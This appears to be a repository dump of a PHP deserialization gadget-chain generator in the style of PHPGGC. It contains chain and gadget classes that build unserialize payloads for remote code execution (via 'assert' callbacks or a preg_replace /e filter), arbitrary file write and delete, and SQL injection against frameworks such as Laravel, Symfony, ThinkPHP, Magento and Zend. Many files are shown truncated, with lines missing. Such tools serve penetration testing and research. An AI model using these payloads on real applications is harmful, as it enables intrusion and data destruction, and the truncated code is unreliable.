├── .gitignore
├── phpinfo.php
├── templates
├── gadgets.php
└── chain.php
├── lib
├── PHPGGC
│ ├── Exception.php
│ ├── GadgetChain
│ │ ├── RCE.php
│ │ ├── FileRead.php
│ │ ├── SqlInjection.php
│ │ ├── FileDelete.php
│ │ └── FileWrite.php
│ └── GadgetChain.php
├── opis
│ └── closure
│ │ ├── NOTICE
│ │ ├── src
│ │ ├── SecurityException.php
│ │ ├── ISecurityProvider.php
│ │ ├── ClosureScope.php
│ │ ├── SelfReference.php
│ │ ├── ClosureContext.php
│ │ ├── SecurityProvider.php
│ │ ├── Analyzer.php
│ │ ├── ClosureStream.php
│ │ ├── SerializableClosure.php
│ │ └── ReflectionClosure.php
│ │ ├── functions.php
│ │ ├── LICENSE
│ │ ├── autoload.php
│ │ ├── composer.json
│ │ ├── README.md
│ │ └── CHANGELOG.md
└── PHPGGC.php
├── phpggc
├── gadgetchains
├── ThinkPHP
│ ├── FD
│ │ └── 1
│ │ │ ├── gadgets.php
│ │ │ └── chain.php
│ ├── RCE
│ │ ├── 1
│ │ │ ├── chain.php
│ │ │ └── gadgets.php
│ │ └── 2
│ │ │ ├── chain.php
│ │ │ └── gadgets.php
│ └── FW
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
├── Slim
│ └── RCE
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
├── Guzzle
│ ├── FW
│ │ └── 1
│ │ │ ├── chain.php
│ │ │ └── gadgets.php
│ └── RCE
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
├── Symfony
│ ├── RCE
│ │ ├── 1
│ │ │ ├── chain.php
│ │ │ └── gadgets.php
│ │ ├── 2
│ │ │ ├── chain.php
│ │ │ └── gadgets.php
│ │ └── 3
│ │ │ ├── chain.php
│ │ │ └── gadgets.php
│ └── FW
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
├── Laravel
│ └── RCE
│ │ ├── 1
│ │ ├── chain.php
│ │ └── gadgets.php
│ │ ├── 2
│ │ ├── chain.php
│ │ └── gadgets.php
│ │ ├── 3
│ │ ├── chain.php
│ │ └── gadgets.php
│ │ └── 4
│ │ ├── chain.php
│ │ └── gadgets.php
├── Monolog
│ └── RCE
│ │ ├── 1
│ │ ├── chain.php
│ │ └── gadgets.php
│ │ └── 2
│ │ ├── chain.php
│ │ └── gadgets.php
├── Magento
│ └── SQLI
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
├── Phalcon
│ └── RCE
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
├── Yii
│ └── RCE
│ │ └── 1
│ │ ├── gadgets.php
│ │ └── chain.php
├── SwiftMailer
│ └── FW
│ │ ├── 1
│ │ ├── chain.php
│ │ └── gadgets.php
│ │ ├── 2
│ │ ├── chain.php
│ │ └── gadgets.php
│ │ └── 3
│ │ ├── chain.php
│ │ └── gadgets.php
├── ZendFramework
│ └── RCE
│ │ └── 1
│ │ ├── chain.php
│ │ └── gadgets.php
└── Doctrine
│ └── FW
│ └── 1
│ ├── chain.php
│ └── gadgets.php
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/*
2 | .DS_Store
--------------------------------------------------------------------------------
/phpinfo.php:
--------------------------------------------------------------------------------
1 | ?>'
2 |
--------------------------------------------------------------------------------
/templates/gadgets.php:
--------------------------------------------------------------------------------
1 | generate();
12 | }
13 | catch(\PHPGGC\Exception $e)
14 | {
15 | print("ERROR: " . $e->getMessage() . "\n");
16 | }
17 |
--------------------------------------------------------------------------------
/lib/opis/closure/NOTICE:
--------------------------------------------------------------------------------
1 | Opis Closure
2 | Copyright 2018-2019 Zindex Software
3 |
4 | This product includes software developed at
5 | Zindex Software (http://zindex.software).
6 |
7 | This software was originally developed by Marius Sarca and Sorin Sarca
8 | (Copyright 2014-2018). The copyright info was changed with the permission
9 | of the original authors.
--------------------------------------------------------------------------------
/lib/PHPGGC/GadgetChain/FileDelete.php:
--------------------------------------------------------------------------------
1 | files = array($files);
18 | }
19 | }
20 | }
--------------------------------------------------------------------------------
/gadgetchains/Slim/RCE/1/chain.php:
--------------------------------------------------------------------------------
1 | events = $events;
13 | $this->event = $cmd;
14 | }
15 | }
16 | }
17 |
18 |
19 | namespace Faker
20 | {
21 | class Generator
22 | {
23 | protected $formatters = [
24 | 'dispatch' => 'assert'
25 | ];
26 | }
27 | }
--------------------------------------------------------------------------------
/gadgetchains/Monolog/RCE/1/chain.php:
--------------------------------------------------------------------------------
1 | null]
19 | )
20 | );
21 | }
22 | }
--------------------------------------------------------------------------------
/gadgetchains/Monolog/RCE/2/chain.php:
--------------------------------------------------------------------------------
1 | null]
19 | )
20 | );
21 | }
22 | }
--------------------------------------------------------------------------------
/gadgetchains/Laravel/RCE/3/chain.php:
--------------------------------------------------------------------------------
1 | [
19 | new \GuzzleHttp\HandlerStack($code),
20 | 'resolve'
21 | ]
22 | ]);
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/gadgetchains/Laravel/RCE/4/gadgets.php:
--------------------------------------------------------------------------------
1 | events = $events;
13 | $this->event = $event;
14 | }
15 | }
16 | }
17 |
18 |
19 | namespace Illuminate\Validation
20 | {
21 | class Validator
22 | {
23 | public $extensions;
24 |
25 | function __construct()
26 | {
27 | $this->extensions = ['' => 'assert'];
28 | }
29 | }
30 | }
--------------------------------------------------------------------------------
/gadgetchains/Magento/SQLI/1/chain.php:
--------------------------------------------------------------------------------
1 | events = $events;
13 | $this->event = $cmd;
14 | }
15 | }
16 | }
17 |
18 |
19 | namespace Illuminate\Events
20 | {
21 | class Dispatcher
22 | {
23 | protected $listeners;
24 |
25 | function __construct($cmd)
26 | {
27 | $this->listeners = [
28 | $cmd => ['assert']
29 | ];
30 | }
31 | }
32 | }
--------------------------------------------------------------------------------
/gadgetchains/ThinkPHP/FD/1/chain.php:
--------------------------------------------------------------------------------
1 | events = $events;
12 | }
13 | }
14 | }
15 |
16 |
17 | namespace Illuminate\Notifications
18 | {
19 | class ChannelManager
20 | {
21 | protected $app;
22 | protected $defaultChannel;
23 | protected $customCreators;
24 |
25 | function __construct($cmd)
26 | {
27 | $this->app = $cmd;
28 | $this->customCreators = ['x' => 'assert'];
29 | $this->defaultChannel = 'x';
30 | }
31 | }
32 | }
--------------------------------------------------------------------------------
/lib/opis/closure/src/SelfReference.php:
--------------------------------------------------------------------------------
1 | hash = $hash;
30 | }
31 | }
--------------------------------------------------------------------------------
/gadgetchains/Symfony/RCE/2/chain.php:
--------------------------------------------------------------------------------
1 | )';
11 |
12 | public function generate(array $parameters)
13 | {
14 | $code = $parameters['code'];
15 |
16 | return new \Symfony\Component\Process\ProcessPipes(
17 | new \Symfony\Component\Finder\Expression\Expression(
18 | new \Symfony\Component\Templating\PhpEngine(
19 | new \Symfony\Component\Templating\Storage\StringStorage(
20 | $code
21 | ))));
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/lib/opis/closure/src/ClosureContext.php:
--------------------------------------------------------------------------------
1 | scope = new ClosureScope();
32 | $this->locks = 0;
33 | }
34 | }
--------------------------------------------------------------------------------
/gadgetchains/Symfony/RCE/3/chain.php:
--------------------------------------------------------------------------------
1 | )';
11 |
12 | public function generate(array $parameters)
13 | {
14 | $code = $parameters['code'];
15 |
16 | return new \Symfony\Component\Process\Pipes\WindowsPipes(
17 | new \Symfony\Component\Finder\Expression\Expression(
18 | new \Symfony\Component\Templating\PhpEngine(
19 | new \Symfony\Component\Templating\Storage\StringStorage(
20 | $code
21 | ))));
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/gadgetchains/Yii/RCE/1/gadgets.php:
--------------------------------------------------------------------------------
1 | params = $params;
10 | }
11 | }
12 |
13 | class CList
14 | {
15 | /**
16 | * @var array internal data storage
17 | */
18 | private $_d;
19 |
20 | function __construct($_d)
21 | {
22 | $this->_d = $_d;
23 | }
24 | }
25 |
26 | class CFileCache
27 | {
28 | public $keyPrefix = '';
29 | public $hashKey = false;
30 | public $serializer = [1 => 'assert'];
31 |
32 | public $cachePath = 'data:text/';
33 | public $directoryLevel = 0;
34 | public $embedExpiry = true;
35 | public $cacheFileSuffix;
36 |
37 | function __construct($cacheFileSuffix)
38 | {
39 | $this->cacheFileSuffix = ';base64,' . $cacheFileSuffix;
40 | }
41 | }
--------------------------------------------------------------------------------
/gadgetchains/Yii/RCE/1/chain.php:
--------------------------------------------------------------------------------
1 | deferred = $code;
36 | $this->namespace = [];
37 | }
38 | }
39 |
40 | class ApcuAdapter extends AbstractAdapter
41 | {
42 | }
43 | }
--------------------------------------------------------------------------------
/gadgetchains/ThinkPHP/RCE/1/chain.php:
--------------------------------------------------------------------------------
1 | socket = $x;
12 | }
13 | }
14 |
15 | class BufferHandler
16 | {
17 | protected $handler;
18 | protected $bufferSize = -1;
19 | protected $buffer;
20 | # ($record['level'] < $this->level) == false
21 | protected $level = null;
22 | protected $initialized = true;
23 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
24 | protected $bufferLimit = -1;
25 | protected $processors;
26 |
27 | function __construct($methods, $command)
28 | {
29 | $this->processors = $methods;
30 | $this->buffer = [$command];
31 | $this->handler = clone $this;
32 | }
33 | }
34 | }
--------------------------------------------------------------------------------
/gadgetchains/Guzzle/FW/1/gadgets.php:
--------------------------------------------------------------------------------
1 | data = [
12 | 'Expires' => 1,
13 | 'Discard' => false,
14 | 'Value' => $data
15 | ];
16 | }
17 | }
18 |
19 | class CookieJar
20 | {
21 | private $cookies = [];
22 | private $strictMode;
23 |
24 | public function __construct($data)
25 | {
26 | $this->cookies = [new SetCookie($data)];
27 | }
28 | }
29 |
30 | class FileCookieJar extends CookieJar
31 | {
32 | private $filename;
33 | private $storeSessionCookies = true;
34 |
35 | public function __construct($filename, $data)
36 | {
37 | parent::__construct($data);
38 | $this->filename = $filename;
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/lib/opis/closure/functions.php:
--------------------------------------------------------------------------------
1 | socket = $x;
13 | }
14 | }
15 |
16 | class BufferHandler
17 | {
18 | protected $handler;
19 | protected $bufferSize = -1;
20 | protected $buffer;
21 | # ($record['level'] < $this->level) == false
22 | protected $level = null;
23 | protected $initialized = true;
24 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
25 | protected $bufferLimit = -1;
26 | protected $processors;
27 |
28 | function __construct($methods, $command)
29 | {
30 | $this->processors = $methods;
31 | $this->buffer = [$command];
32 | $this->handler = clone $this;
33 | }
34 | }
35 | }
--------------------------------------------------------------------------------
/gadgetchains/Symfony/RCE/2/gadgets.php:
--------------------------------------------------------------------------------
1 | template = '';
8 | }
9 | }
10 | }
11 |
12 | namespace Symfony\Component\Templating{
13 | class TemplateNameParser{}
14 | class TemplateReference{}
15 | class PhpEngine{
16 | protected $parser;
17 | protected $cache;
18 | protected $current;
19 | protected $globals = array();
20 | public function __construct($s){
21 | $this->parser = new TemplateNameParser;
22 | $this->current = new TemplateReference;
23 | $this->cache = array(NULL=>$s);
24 | }
25 | }
26 | }
27 |
28 | namespace Symfony\Component\Finder\Expression{
29 | class Expression{
30 | private $value;
31 | public function __construct($p){
32 | $this->value = $p;
33 | }
34 | }
35 | }
36 |
37 | namespace Symfony\Component\Process{
38 | class ProcessPipes{
39 | private $files = array();
40 | public function __construct($e){
41 | $this->files = array($e);
42 | }
43 | }
44 | }
45 |
46 | ?>
47 |
--------------------------------------------------------------------------------
/gadgetchains/Symfony/RCE/3/gadgets.php:
--------------------------------------------------------------------------------
1 | template = '';
8 | }
9 | }
10 | }
11 |
12 | namespace Symfony\Component\Templating{
13 | class TemplateNameParser{}
14 | class TemplateReference{}
15 | class PhpEngine{
16 | protected $parser;
17 | protected $cache;
18 | protected $current;
19 | protected $globals = array();
20 | public function __construct($s){
21 | $this->parser = new TemplateNameParser;
22 | $this->current = new TemplateReference;
23 | $this->cache = array(NULL=>$s);
24 | }
25 | }
26 | }
27 |
28 | namespace Symfony\Component\Finder\Expression{
29 | class Expression{
30 | private $value;
31 | public function __construct($p){
32 | $this->value = $p;
33 | }
34 | }
35 | }
36 |
37 | namespace Symfony\Component\Process\Pipes{
38 | class WindowsPipes{
39 | private $files = array();
40 | public function __construct($e){
41 | $this->files = array($e);
42 | }
43 | }
44 | }
45 |
46 | ?>
47 |
--------------------------------------------------------------------------------
/gadgetchains/SwiftMailer/FW/1/chain.php:
--------------------------------------------------------------------------------
1 | secret = $secret;
22 | }
23 |
24 | /**
25 | * @inheritdoc
26 | */
27 | public function sign($closure)
28 | {
29 | return array(
30 | 'closure' => $closure,
31 | 'hash' => base64_encode(hash_hmac('sha256', $closure, $this->secret, true)),
32 | );
33 | }
34 |
35 | /**
36 | * @inheritdoc
37 | */
38 | public function verify(array $data)
39 | {
40 | return base64_encode(hash_hmac('sha256', $data['closure'], $this->secret, true)) === $data['hash'];
41 | }
42 | }
--------------------------------------------------------------------------------
/gadgetchains/Slim/RCE/1/gadgets.php:
--------------------------------------------------------------------------------
1 | keys = $this->raw = $this->values = $array;
14 | }
15 | }
16 | }
17 |
18 | namespace Slim
19 | {
20 | class App
21 | {
22 | private $container;
23 |
24 | function __construct($container)
25 | {
26 | $this->container = $container;
27 | }
28 | }
29 |
30 | class Container extends \Pimple\Container
31 | {
32 |
33 | }
34 | }
35 |
36 | namespace Slim\Http
37 | {
38 | use \Slim\App;
39 | use \Slim\Container;
40 |
41 | abstract class Message
42 | {
43 | protected $headers;
44 | protected $body = '';
45 |
46 | function __construct($code)
47 | {
48 | $z = new App(new Container(['has' => 'assert']));
49 | $y = new App($z);
50 | $this->headers = new App(new Container(['all' => [$y, $code]]));
51 | }
52 | }
53 |
54 | class Response extends Message
55 | {
56 |
57 | }
58 | }
--------------------------------------------------------------------------------
/gadgetchains/ZendFramework/RCE/1/chain.php:
--------------------------------------------------------------------------------
1 | = 7.0.0
14 | - Payload gets executed twice
15 | ';
16 |
17 | public function generate(array $parameters)
18 | {
19 | $code = $parameters['code'];
20 |
21 | return new \Zend_Log(
22 | [new \Zend_Log_Writer_Mail(
23 | [1],
24 | [],
25 | new \Zend_Mail,
26 | new \Zend_Layout(
27 | new \Zend_Filter_PregReplace(
28 | "/(.*)/e",
29 | $code
30 | ),
31 | true,
32 | "layout"
33 | )
34 | )]
35 | );
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/lib/opis/closure/composer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "opis/closure",
3 | "description": "A library that can be used to serialize closures (anonymous functions) and arbitrary objects.",
4 | "keywords": ["closure", "serialization", "function", "serializable", "serialize", "anonymous functions"],
5 | "homepage": "https://opis.io/closure",
6 | "license": "MIT",
7 | "authors": [
8 | {
9 | "name": "Marius Sarca",
10 | "email": "marius.sarca@gmail.com"
11 | },
12 | {
13 | "name": "Sorin Sarca",
14 | "email": "sarca_sorin@hotmail.com"
15 | }
16 | ],
17 | "require": {
18 | "php": "^5.4 || ^7.0"
19 | },
20 | "require-dev": {
21 | "jeremeamia/superclosure": "^2.0",
22 | "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0"
23 | },
24 | "autoload": {
25 | "psr-4": {
26 | "Opis\\Closure\\": "src/"
27 | },
28 | "files": ["functions.php"]
29 | },
30 | "autoload-dev": {
31 | "psr-4": {
32 | "Opis\\Closure\\Test\\": "tests/"
33 | }
34 | },
35 | "extra": {
36 | "branch-alias": {
37 | "dev-master": "3.3.x-dev"
38 | }
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/gadgetchains/Magento/SQLI/1/gadgets.php:
--------------------------------------------------------------------------------
1 | connected = true;
11 | $this->redis = $redis;
12 | }
13 | }
14 |
15 | class Mage_Sales_Model_Order_Payment_Transaction
16 | {
17 | protected $_isFailsafe;
18 | protected $_paymentObject;
19 | protected $_data;
20 | protected $_resourceName;
21 | protected $_idFieldName;
22 |
23 | public function __construct($sql)
24 | {
25 | $this->_isFailsafe = true;
26 | $this->_paymentObject = new Mage_Sales_Model_Order_Payment;
27 | $this->_data = [
28 | 'order_id' => 1,
29 | 'store_id' => new Zend_Db_Expr("1); " . $sql . ';--')
30 | ];
31 | $this->_resourceName = 'log/log';
32 | $this->_idFieldName = 'id';
33 | }
34 | }
35 |
36 | class Zend_Db_Expr
37 | {
38 | protected $_expression;
39 |
40 | public function __construct($expression)
41 | {
42 | $this->_expression = $expression;
43 | }
44 | }
45 |
46 | class Mage_Sales_Model_Order_Payment
47 | {
48 | protected $_idFieldName;
49 |
50 | public function __construct()
51 | {
52 | $this->_idFieldName = 'id';
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/gadgetchains/ThinkPHP/RCE/1/gadgets.php:
--------------------------------------------------------------------------------
1 | files = $files;
16 | }
17 | }
18 | }
19 |
20 | namespace think\model\concern {
21 | trait Conversion{
22 | protected $visible;
23 | }
24 |
25 | trait RelationShip{
26 | private $relation;
27 | }
28 |
29 | trait Attribute{
30 | private $withAttr;
31 | private $data;
32 | }
33 | }
34 |
35 | namespace think {
36 | abstract class Model{
37 | use model\concern\RelationShip;
38 | use model\concern\Conversion;
39 | use model\concern\Attribute;
40 |
41 | function __construct($closure)
42 | {
43 | $this->data = array("wh1t3p1g"=>[]);
44 | $this->relation = array("wh1t3p1g"=>[]);
45 | $this->visible= array("wh1t3p1g"=>[]);
46 | $this->withAttr = array("wh1t3p1g"=>$closure);
47 | }
48 | }
49 | }
50 |
51 | namespace think\model {
52 | class Pivot extends \think\Model{
53 | function __construct($closure)
54 | {
55 | parent::__construct($closure);
56 | }
57 | }
58 | }
--------------------------------------------------------------------------------
/gadgetchains/ThinkPHP/FW/1/chain.php:
--------------------------------------------------------------------------------
1 | "test"),$query);
35 | $pivot = new \think\model\Pivot($output, $relation);
36 | return new \think\process\pipes\Windows($pivot);
37 | }
38 | }
--------------------------------------------------------------------------------
/gadgetchains/ZendFramework/RCE/1/gadgets.php:
--------------------------------------------------------------------------------
1 | _writers = $x;
10 | }
11 | }
12 |
13 | class Zend_Log_Writer_Mail
14 | {
15 | protected $_eventsToMail;
16 | protected $_layoutEventsToMail;
17 | protected $_mail;
18 | protected $_layout;
19 | protected $_subjectPrependText;
20 |
21 | public function __construct(
22 | $eventsToMail,
23 | $layoutEventsToMail,
24 | $mail,
25 | $layout
26 | ) {
27 | $this->_eventsToMail = $eventsToMail;
28 | $this->_layoutEventsToMail = $layoutEventsToMail;
29 | $this->_mail = $mail;
30 | $this->_layout = $layout;
31 | $this->_subjectPrependText = null;
32 | }
33 | }
34 |
35 | class Zend_Mail
36 | {}
37 |
38 | class Zend_Layout
39 | {
40 | protected $_inflector;
41 | protected $_inflectorEnabled;
42 | protected $_layout;
43 |
44 | public function __construct(
45 | $inflector,
46 | $inflectorEnabled,
47 | $layout
48 | ) {
49 | $this->_inflector = $inflector;
50 | $this->_inflectorEnabled = $inflectorEnabled;
51 | $this->_layout = $layout;
52 | }
53 | }
54 |
55 | class Zend_Filter_PregReplace
56 | {
57 | protected $_matchPattern;
58 | protected $_replacement;
59 |
60 | public function __construct(
61 | $matchPattern,
62 | $replacement
63 | ) {
64 | $this->_matchPattern = $matchPattern;
65 | $this->_replacement = $replacement;
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/gadgetchains/Guzzle/RCE/1/gadgets.php:
--------------------------------------------------------------------------------
1 | methods = $methods;
17 |
18 | foreach ($methods as $name => $fn) {
19 | $this->{'_fn_' . $name} = $fn;
20 | }
21 | }
22 |
23 | /*
24 | public function __destruct()
25 | {
26 | if (isset($this->_fn_close)) {
27 | call_user_func($this->_fn_close);
28 | }
29 | }
30 |
31 | public function close()
32 | {
33 | return call_user_func($this->_fn_close);
34 | }
35 | */
36 | }
37 | }
38 |
39 | namespace GuzzleHttp
40 | {
41 | class HandlerStack
42 | {
43 | private $handler;
44 | private $stack = [['assert']];
45 | private $cached = false;
46 |
47 | function __construct($handler)
48 | {
49 | $this->handler = $handler;
50 | }
51 |
52 | /*
53 | public function resolve()
54 | {
55 | if (!$this->cached) {
56 | if (!($prev = $this->handler)) {
57 | throw new \LogicException('No handler has been specified');
58 | }
59 |
60 | foreach (array_reverse($this->stack) as $fn) {
61 | $prev = $fn[0]($prev);
62 | }
63 |
64 | $this->cached = $prev;
65 | }
66 |
67 | return $this->cached;
68 | }
69 | */
70 | }
71 | }
--------------------------------------------------------------------------------
/lib/opis/closure/src/Analyzer.php:
--------------------------------------------------------------------------------
1 | getClosureScopeClass();
26 |
27 | $data = [
28 | 'reflection' => $reflection,
29 | 'code' => $reflection->getCode(),
30 | 'hasThis' => $reflection->isBindingRequired(),
31 | 'context' => $reflection->getUseVariables(),
32 | 'hasRefs' => false,
33 | 'binding' => $reflection->getClosureThis(),
34 | 'scope' => $scope ? $scope->getName() : null,
35 | 'isStatic' => $reflection->isStatic(),
36 | ];
37 |
38 | return $data;
39 | }
40 |
41 | /**
42 | * @param array $data
43 | * @return mixed
44 | */
45 | protected function determineCode(array &$data)
46 | {
47 | return null;
48 | }
49 |
50 | /**
51 | * @param array $data
52 | * @return mixed
53 | */
54 | protected function determineContext(array &$data)
55 | {
56 | return null;
57 | }
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/gadgetchains/Phalcon/RCE/1/gadgets.php:
--------------------------------------------------------------------------------
1 | _shared = false;
10 | $this->_definition = array(
11 | 'className' => '\Phalcon\Mvc\View\Engine\Php',
12 | 'arguments' => array(array('type' => 'parameter', 'value' => 'test')),
13 | 'calls' => array(
14 | array(
15 | 'method' => 'render',
16 | 'arguments' => array(
17 | array(
18 | 'type' => 'parameter',
19 | 'value' => 'php://input'
20 | ), array(
21 | 'type' => 'parameter',
22 | 'value' => array()
23 | )
24 | )
25 | )
26 | )
27 | );
28 | }
29 | }
30 | }
31 |
32 | namespace Phalcon {
33 | class Di {
34 | protected $_services;
35 |
36 | public function __construct() {
37 | $this->_services = array('session' => new \Phalcon\Di\Service());
38 | }
39 | }
40 | }
41 |
42 | namespace Phalcon\Http {
43 | class Cookie {
44 | protected $_dependencyInjector;
45 | protected $_name = "test";
46 | protected $_expire = 0;
47 | protected $_httpOnly = 1;
48 | protected $_readed = true;
49 | protected $_restored = false;
50 |
51 | public function __construct() {
52 | $this->_dependencyInjector = new \Phalcon\Di();
53 | }
54 | }
55 | }
56 |
57 | namespace Phalcon\Logger\Adapter {
58 | class File {
59 | protected $_transaction;
60 | protected $_queue;
61 | protected $_formatter;
62 | protected $_logLevel;
63 | protected $_fileHandler;
64 | protected $_path;
65 | protected $_options;
66 |
67 | function __construct() {
68 | $this->_path = new \Phalcon\Http\Cookie("test");
69 | }
70 | }
71 | }
72 |
73 | ?>
74 |
--------------------------------------------------------------------------------
/gadgetchains/ThinkPHP/RCE/2/gadgets.php:
--------------------------------------------------------------------------------
1 | data = array("wh1t3p1g"=>[]);
48 | $this->relation = array("wh1t3p1g"=>[]);
49 | $this->visible= array("wh1t3p1g"=>[]);
50 | $this->withAttr = array("wh1t3p1g"=>$closure);
51 | }else{
52 | $this->lazySave = true;
53 | $this->withEvent = false;
54 | $this->exists = true;
55 | $this->force = true;
56 | $this->data = array("wh1t3p1g"=>[]);
57 | $this->connection = "mysql";
58 | $this->suffix = $obj;
59 | }
60 |
61 | }
62 | }
63 |
64 | }
65 |
66 | namespace think\model {
67 | class Pivot extends \think\Model{
68 |
69 | function __construct($obj, $closure)
70 | {
71 | parent::__construct($obj, $closure);
72 | }
73 | }
74 | }
--------------------------------------------------------------------------------
/gadgetchains/Symfony/FW/1/gadgets.php:
--------------------------------------------------------------------------------
1 | token = uniqid();
19 | $this->ip = new \Symfony\Component\Finder\Expression\Expression(
20 | $path, $content
21 | );
22 | }
23 | }
24 | }
25 |
26 | namespace Symfony\Component\Finder\Expression
27 | {
28 | class Expression
29 | {
30 | private $value;
31 |
32 | function __construct($path, $content)
33 | {
34 | $this->value = new \Symfony\Component\Console\Helper\Table(
35 | $path, $content
36 | );
37 | }
38 | }
39 | }
40 |
41 | namespace Symfony\Component\Console\Helper
42 | {
43 | class Table
44 | {
45 | private $headers = ['a'];
46 | private $rows = [];
47 | private $columnWidths = [100];
48 | private $numberOfColumns;
49 | private $output;
50 | private $style;
51 | private static $styles;
52 |
53 | function __construct($path, $content)
54 | {
55 | $this->output = new \Symfony\Component\Config\ConfigCache($path);
56 | $this->style = new TableStyle($content);
57 | }
58 | }
59 |
60 | class TableStyle
61 | {
62 | private $paddingChar = ' ';
63 | private $horizontalBorderChar = '';
64 | private $verticalBorderChar;
65 | private $crossingChar = '';
66 | private $cellHeaderFormat = '%s';
67 | private $cellRowFormat = '%s';
68 | private $cellRowContentFormat = ' %s ';
69 | private $borderFormat = '%s';
70 | private $padType = STR_PAD_RIGHT;
71 |
72 | function __construct($verticalBorderChar)
73 | {
74 | $this->verticalBorderChar = $verticalBorderChar;
75 | }
76 | }
77 | }
78 |
79 | namespace Symfony\Component\Config
80 | {
81 | class ConfigCache
82 | {
83 | private $debug;
84 | private $file;
85 |
86 | function __construct($file)
87 | {
88 | $this->file = $file;
89 | }
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/lib/PHPGGC/GadgetChain.php:
--------------------------------------------------------------------------------
1 | $this->get_name(),
28 | 'Version' => $this->version,
29 | 'Type' => self::$type,
30 | 'Vector' => $this->vector
31 | ];
32 |
33 | $strings = [];
34 |
35 | if($this->informations)
36 | {
37 | $informations = trim($this->informations);
38 | $informations = preg_replace("#\n\s+#", "\n", $informations);
39 | $infos['Informations'] = "\n" . $informations;
40 | }
41 |
42 | foreach($infos as $k => $v)
43 | {
44 | $strings[] = str_pad($k, 15) . ': ' . $v;
45 | }
46 |
47 | return implode("\n", $strings);
48 | }
49 |
50 | public function get_name()
51 | {
52 | $class = get_class($this);
53 | $class = substr($class, strpos($class, '\\') + 1);
54 | $class = str_replace('\\', '/', $class);
55 | return $class;
56 | }
57 |
58 | public function load_gadgets()
59 | {
60 | $file = dirname((new \ReflectionClass($this))->getFileName());
61 | require $file . '/gadgets.php';
62 | }
63 |
64 | /**
65 | * Modifies given parameters if required.
66 | */
67 | public function pre_process(array $parameters)
68 | {
69 | return $parameters;
70 | }
71 |
72 | abstract public function generate(array $parameters);
73 |
74 | /**
75 | * Changes some values in the unserialize payload.
76 | * For instance, if a class is meant to be named A\B\C but has been named
77 | * A_B_C in the gadget for convenience, it can be str_replace()d here.
78 | */
79 | public function post_process($payload)
80 | {
81 | return $payload;
82 | }
83 | }
84 |
--------------------------------------------------------------------------------
/lib/opis/closure/src/ClosureStream.php:
--------------------------------------------------------------------------------
1 | content = "length = strlen($this->content);
29 | return true;
30 | }
31 |
32 | public function stream_read($count)
33 | {
34 | $value = substr($this->content, $this->pointer, $count);
35 | $this->pointer += $count;
36 | return $value;
37 | }
38 |
39 | public function stream_eof()
40 | {
41 | return $this->pointer >= $this->length;
42 | }
43 |
44 | public function stream_stat()
45 | {
46 | $stat = stat(__FILE__);
47 | $stat[7] = $stat['size'] = $this->length;
48 | return $stat;
49 | }
50 |
51 | public function url_stat($path, $flags)
52 | {
53 | $stat = stat(__FILE__);
54 | $stat[7] = $stat['size'] = $this->length;
55 | return $stat;
56 | }
57 |
58 | public function stream_seek($offset, $whence = SEEK_SET)
59 | {
60 | $crt = $this->pointer;
61 |
62 | switch ($whence) {
63 | case SEEK_SET:
64 | $this->pointer = $offset;
65 | break;
66 | case SEEK_CUR:
67 | $this->pointer += $offset;
68 | break;
69 | case SEEK_END:
70 | $this->pointer = $this->length + $offset;
71 | break;
72 | }
73 |
74 | if ($this->pointer < 0 || $this->pointer >= $this->length) {
75 | $this->pointer = $crt;
76 | return false;
77 | }
78 |
79 | return true;
80 | }
81 |
82 | public function stream_tell()
83 | {
84 | return $this->pointer;
85 | }
86 |
87 | public static function register()
88 | {
89 | if (!static::$isRegistered) {
90 | static::$isRegistered = stream_wrapper_register(static::STREAM_PROTO, __CLASS__);
91 | }
92 | }
93 |
94 | }
95 |
--------------------------------------------------------------------------------
/gadgetchains/Doctrine/FW/1/chain.php:
--------------------------------------------------------------------------------
1 | extension))
35 | $parameters['extension'] = '.' . $infos->extension;
36 | else
37 | $parameters['extension'] = '';
38 |
39 | $parameters['directory'] = $infos->dirname;
40 | $parameters['path'] = $infos->dirname . '/e3/5b737464436c61737324434c4153534d455441444154415d5b315d' . $parameters['extension'];
41 | return $parameters;
42 | }
43 |
44 | public function generate(array $parameters)
45 | {
46 | $c = new Configuration([
47 |
48 | ]);
49 | $table = (object) [
50 | 'name' => $parameters['data'],
51 | 'schema' => '',
52 | 'indexes' => null,
53 | 'uniqueConstraints' => null,
54 | 'options' => null
55 | ];
56 | $em0 = new EntityManager(null, $c);
57 | $d0 = new AnnotationDriver(new CachedReader([
58 | 'stdClass' =>
59 | [
60 | 'Doctrine\ORM\Mapping\Embeddable' => true,
61 | 'Doctrine\ORM\Mapping\Table' => $table
62 | ]
63 | ]));
64 | $fc = new FilesystemCache($parameters['directory'], $parameters['extension']);
65 | $mf = new ClassMetadataFactory($fc, $em0, $d0);
66 | $em = new EntityManager($mf, null);
67 | $writer = new ResultSetMappingBuilder($em);
68 |
69 | return $writer;
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/gadgetchains/SwiftMailer/FW/2/gadgets.php:
--------------------------------------------------------------------------------
1 | encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
20 | $this->paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
21 | $this->grammar = new Swift_Mime_Grammar();
22 | }
23 | }
24 |
25 | class Swift_Mime_SimpleHeaderSet
26 | {
27 | private $factory;
28 |
29 | function __construct()
30 | {
31 | $this->factory = new Swift_Mime_SimpleHeaderFactory();
32 | }
33 | }
34 |
